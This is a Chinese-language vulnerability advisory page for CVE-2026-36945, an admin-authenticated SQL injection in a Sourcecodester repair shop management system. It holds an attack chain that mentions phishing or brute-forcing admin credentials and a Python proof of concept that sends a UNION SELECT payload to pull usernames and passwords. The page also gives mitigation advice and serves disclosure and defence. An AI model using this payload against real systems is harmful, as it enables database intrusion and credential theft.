IPBUF安全漏洞报告
English
CVE-2026-36945 CVSS 2.7 低危

CVE-2026-36945 Repair Shop System SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-36945
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Computer and Mobile Repair Shop Management System

相关标签

SQL注入Web安全CMSSourcecodesterCVE-2026-36945

漏洞概述

Sourcecodester Computer and Mobile Repair Shop Management System v1.0版本存在SQL注入漏洞。漏洞位于/rsms/admin/clients/manage_client.php文件中,由于未对用户输入进行充分过滤,导致攻击者可利用该漏洞执行恶意SQL语句,造成数据库信息泄露。

技术细节

该漏洞属于典型的SQL注入漏洞。在Sourcecodester Computer and Mobile Repair Shop Management System v1.0的/rsms/admin/clients/manage_client.php接口中,程序直接接收用户提交的参数并将其拼接到SQL查询语句中,未使用预处理语句或进行有效的安全过滤。由于CVSS向量显示需要高权限(PR:H),攻击者首先需要登录管理员账户。随后,攻击者可以通过修改HTTP请求中的特定参数,注入Union查询或布尔盲注语句。数据库服务器在解析并执行这些恶意语句后,会将查询结果返回给攻击者,从而导致敏感数据(如用户凭证、系统配置)泄露。成功利用此漏洞需要具备管理员权限,但一旦利用成功,将对数据机密性造成严重影响。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统为Sourcecodester Computer and Mobile Repair Shop Management System v1.0,并确认其存在/rsms/admin/clients/manage_client.php接口。
STEP 2
获取权限
由于漏洞利用需要高权限(PR:H),攻击者通过钓鱼或暴力破解等方式获取管理员账户凭证并登录系统。
STEP 3
漏洞利用
攻击者使用Burp Suite等工具拦截对manage_client.php的请求,修改参数值,注入恶意SQL代码(如UNION SELECT语句)。
STEP 4
数据获取
后端数据库执行恶意SQL查询,将敏感数据(如用户名、密码哈希)嵌入HTTP响应中返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-36945 # Target: Sourcecodester Computer and Mobile Repair Shop Management System v1.0 # Endpoint: /rsms/admin/clients/manage_client.php # Note: Requires Admin Authentication (Cookie/Session) target_url = "http://target.com/rsms/admin/clients/manage_client.php" # Replace with a valid admin session cookie cookies = { "PHPSESSID": "valid_admin_session_id" } # Example vulnerable parameter injection # Assuming the endpoint expects an 'id' parameter for managing clients payload = { "id": "1 UNION SELECT NULL, username, password FROM users--" } try: response = requests.post(target_url, data=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Sourcecodester Computer and Mobile Repair Shop Management System v1.0

防御指南

临时缓解措施
如果无法立即升级,建议在WAF(Web应用防火墙)中添加针对该接口的SQL注入防护规则,并严格限制管理员账户的网络访问来源,仅允许受信任的IP地址访问后台管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表